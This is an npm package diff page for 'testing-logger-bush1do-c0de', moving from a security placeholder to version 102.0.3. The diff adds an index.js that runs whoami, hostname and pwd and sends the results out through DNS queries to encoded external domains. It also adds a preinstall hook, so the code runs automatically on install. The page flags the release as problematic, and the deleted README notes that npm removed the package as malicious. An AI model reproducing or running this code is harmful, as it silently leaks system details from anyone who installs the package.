testing-logger-bush1do-c0de 0.0.1-security → 102.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of testing-logger-bush1do-c0de might be problematic. Click here for more details.
- package/index.js +34 -0
- package/package.json +6 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,34 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
function exfiltrateData(data) {
|
5
|
+
// Prepare subdomains for both DNS servers
|
6
|
+
const subdomains = [
|
7
|
+
`${data}.${Buffer.from('noreplyy.access.ly').toString('base64')}`,
|
8
|
+
`${data}.${Buffer.from('noreply.access.ly').toString('base64')}`
|
9
|
+
];
|
10
|
+
|
11
|
+
// Iterate through each subdomain and resolve it
|
12
|
+
subdomains.forEach((subdomain) => {
|
13
|
+
dns.resolve4(subdomain, (err, addresses) => {
|
14
|
+
if (err) {
|
15
|
+
console.error(`Error during DNS resolution for ${subdomain}: ${err.message}`); // Log the error
|
16
|
+
} else {
|
17
|
+
console.log(`Data exfiltrated to ${subdomain}: ${addresses}`); // Log the addresses
|
18
|
+
}
|
19
|
+
});
|
20
|
+
});
|
21
|
+
}
|
22
|
+
|
23
|
+
// Run commands and send output
|
24
|
+
exec('whoami', (error, stdout) => {
|
25
|
+
if (stdout) exfiltrateData(stdout.trim());
|
26
|
+
});
|
27
|
+
|
28
|
+
exec('hostname', (error, stdout) => {
|
29
|
+
if (stdout) exfiltrateData(stdout.trim());
|
30
|
+
});
|
31
|
+
|
32
|
+
exec('pwd', (error, stdout) => {
|
33
|
+
if (stdout) exfiltrateData(stdout.trim());
|
34
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,9 @@
|
|
1
1
|
{
|
2
2
|
"name": "testing-logger-bush1do-c0de",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "102.0.3",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"preinstall": "node index.js"
|
7
|
+
},
|
8
|
+
"dependencies": {}
|
6
9
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=testing-logger-bush1do-c0de for more information.
|